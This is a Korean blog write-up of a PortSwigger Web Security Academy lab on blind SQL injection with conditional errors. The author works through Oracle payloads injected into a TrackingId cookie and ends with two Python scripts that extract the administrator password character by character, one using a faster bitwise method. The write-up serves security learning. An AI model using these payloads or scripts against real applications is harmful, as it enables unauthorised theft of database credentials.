일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- 김영권 아내
- 성남 코로나 확진자
- 폰폰테스트
- 불가피
- 김영권
- 유튜버 김재석
- 양적완화
- 학교 개학 연기 4월
- 최강욱
- 고민정
- 은혜의 강 교회
- 스콜피온킹
- 제넥신
- 김재석
- 조희연
- 이상형 만들기
- 이태원 클라쓰 15회 예고
- 금리인하
- 이지혜
- 미국 금리인하
- 픽크루
- 뭉쳐야 찬다
- libtins
- 성남은혜의강교회
- 임영규
- 홍혜걸
- 리리남매
- 스페인 코로나
- 해킹
- 킹덤 고근희
- Today
- Total
Dork's port
SQL-injection - Blind SQL injection with conditional errors 본문
SQL-injection - Blind SQL injection with conditional errors
Dork94 2020. 7. 14. 16:28이 문제는 웹 페이지에서 특정 문자로 condition을 확인하는 게 아닌 500 error 를 통해 확인하는 문제
' UNION SELECT password FROM users where username='administrator'--
== True' UNION SELECT password,'a' FROM users where username='administrator'--
== False즉, False일땐 페이지가 정상적으로 로드되지 않는다. 따라서, condition에 따라 error를 return 하도록 해야하며, portswigger cheat sheet에서 찾을 수 있다.
' UNION SELECT if(1,'a','b') from users --
이렇게 해봤는데 안되네.. 안되는 이유가 뭐지?' UNION SELECT 'a' from users --
이건 됨.당연히 mysql 일거라 생각하고 했는데 Oracle 인 것 같다.
' UNION SELECT banner from v$version --
을 해보니 정상적으로 페이지가 load 됨Database version
- Oracle :
SELECT nanner FROM v$version
- Microsoft :
SELECT @@version
- PostgreSQL :
SELECT version()
- MySQL :
SELECT @@version
- Oracle :
' UNION SELECT CASE WHEN (1=2) THEN to_char(1/0) ELSE NULL END FROM dual --
이러면 정상적으로 페이지가 로드되는데 즉, 조건이 거짓일때 에러가 나온다. 그래서 조건이 참일때 정상적으로 페이지를 로드하고 싶어서 아래와 같이 바꿨는데 동작안함' UNION SELECT CASE WHEN (1=1) THEN NULL END FROM dual ELSE to_char(1/0) --
일단 위의 조건으로 시작해보자.
' UNION SELECT CASE WHEN (SELECT ASCII(SUBSTR(password FROM users where username='administrator',1,1))<0) THEN NULL END FROM dual ELSE to_char(1/0) --
이렇게 했는데 안되네..오라클 문법 테스트를 위해서 orcal live 에서 테스트를 하고 있다.
' UNION SELECT CASE WHEN (SELECT ASCII(SUBSTR(password,1,1)) FROM users) < 0 THEN to_char(1/0) ELSE NULL END FROM dual --
이렇게 하면 된다. 위에서 문법을 잘못적었따리..위의 문장이 Oracle live에서는 되는데 웹페이지에서는 동작을 안하는듯.. 왜지?
SELECT password from users ' UNION SELECT CASE WHEN (SELECT ASCII(SUBSTR(password,1,1)) FROM users) < 0 THEN to_char(1/0) ELSE NULL END FROM dual;
이건 정상 동작하는걸 확인했는데..' UNION SELECT CASE WHEN ASCII(SUBSTR(password,1,1)) < 0 THEN to_char(1/0) ELSE NULL END FROM users --
된다 된다!!! 이게 된다. 맨 마지막의FROM dual
이ELSE
에 종속되는게 아니라UNION SELECT
전체에 종속되어있는거구나.비트연산을 위해선
' UNION SELECT CASE WHEN BITAND(ASCII(SUBSTR(password,1,1)),1)=1 THEN to_char(1/0) ELSE NULL END FROM users
이렇게 비교를 하면됩니당~또 왜 portswigger는 안되지..?
' UNION SELECT CASE WHEN ASCII(SUBSTR(password,1,1))=110 THEN to_char(1/0) ELSE NULL END FROM users --
이건, 조건이 정상적으로 동작함' UNION SELECT CASE WHEN BITAND(ASCII(SUBSTR(password,1,1)),1)=0 THEN to_char(1/0) ELSE NULL END FROM users --
' UNION SELECT CASE WHEN BITAND(ASCII(SUBSTR(password,1,1)),1)=1 THEN to_char(1/0) ELSE NULL END FROM users --
아니 이해가 안되는게
' UNION SELECT CASE WHEN BITAND(ASCII(SUBSTR(password,1,1)),1)>1 THEN to_char(1/0) ELSE NULL END FROM users --
이건 페이지가 정상적으로 로드 (False)가 되는데,' UNION SELECT CASE WHEN BITAND(ASCII(SUBSTR(password,1,1)),1)>0 THEN to_char(1/0) ELSE NULL END FROM users --
이건 페이지가 로드가 안됨 (True)정리하면
BITAND(ASCII(SUBSTR(password,1,1)),1)
의 값이 0보단 크고 1보단 크지 않다는건데 이게 말이되나? 비트연산 했는데..?우선 password의 길이는
' UNION SELECT CASE WHEN length(password)=20 THEN to_char(1/0) ELSE NULL END FROM users --
을 통해 20이라는것을 알아냄착오가 있었다,뒤에 where 로 admin의 계정을 얻어야 하는데, 그러지 않았네.. 그것때문에 오류가 있었던 듯
' UNION SELECT CASE WHEN ASCII(SUBSTR(password,1,1))=99 THEN to_char(1/0) ELSE NULL END FROM users where username='administrator'--
이렇게 하면 된다(세션이 만료되어서 99로 다시 테스트함)내실수가 맞았구나... 아래 코드로 우선 풀이는 진행했다.
import requests pass_length = 20 password = str() for i in range(1, pass_length+1): for code in reversed(range(32, 128)): cookies = { '$Cookie: session': 'MdNIn681XsG1bosvxIfE8VLYRHuJeInB', 'TrackingId': '\' UNION SELECT CASE WHEN ASCII(SUBSTR(password,{0},1))={1} THEN to_char(1/0) ELSE NULL END FROM users where username=\'administrator\'--'.format(i, code), } headers = { 'Connection': 'keep-alive', 'Cache-Control': 'max-age=0', 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', 'Sec-Fetch-Site': 'cross-site', 'Sec-Fetch-Mode': 'navigate', 'Sec-Fetch-User': '?1', 'Sec-Fetch-Dest': 'document', 'Referer': 'https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors', 'Accept-Language': 'en-US,en;q=0.9', } response = requests.get('https://ac471f131e890de480401b4a009900f2.web-security-academy.net/', headers=headers, cookies=cookies) if '"Internal Server Error"' in response.text: print('FOUND {0} : {1}'.format(i, chr(code))) password += chr(code) break print(password)
그리고 어제 rubiya에게 받은 팁으로 작성한 코드는 아래와 같다.
for i in range(1, pass_length+1): code = 0 for j in range(1, 8): cookies = { '$Cookie: session': 'MdNIn681XsG1bosvxIfE8VLYRHuJeInB', 'TrackingId': '\' UNION SELECT CASE WHEN BITAND(ASCII(SUBSTR(password,{0},1)),{1})={1} THEN to_char(1/0) ELSE NULL END FROM users where username=\'administrator\'--'.format(i, 1 << j-1), } headers = { 'Connection': 'keep-alive', 'Cache-Control': 'max-age=0', 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', 'Sec-Fetch-Site': 'cross-site', 'Sec-Fetch-Mode': 'navigate', 'Sec-Fetch-User': '?1', 'Sec-Fetch-Dest': 'document', 'Referer': 'https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors', 'Accept-Language': 'en-US,en;q=0.9', } response = requests.get('https://ac471f131e890de480401b4a009900f2.web-security-academy.net/', headers=headers, cookies=cookies) if '"Internal Server Error"' in response.text: code += 1 << j-1 password += chr(code) print(password)
훠어어어어얼씬 빠름 ㅋ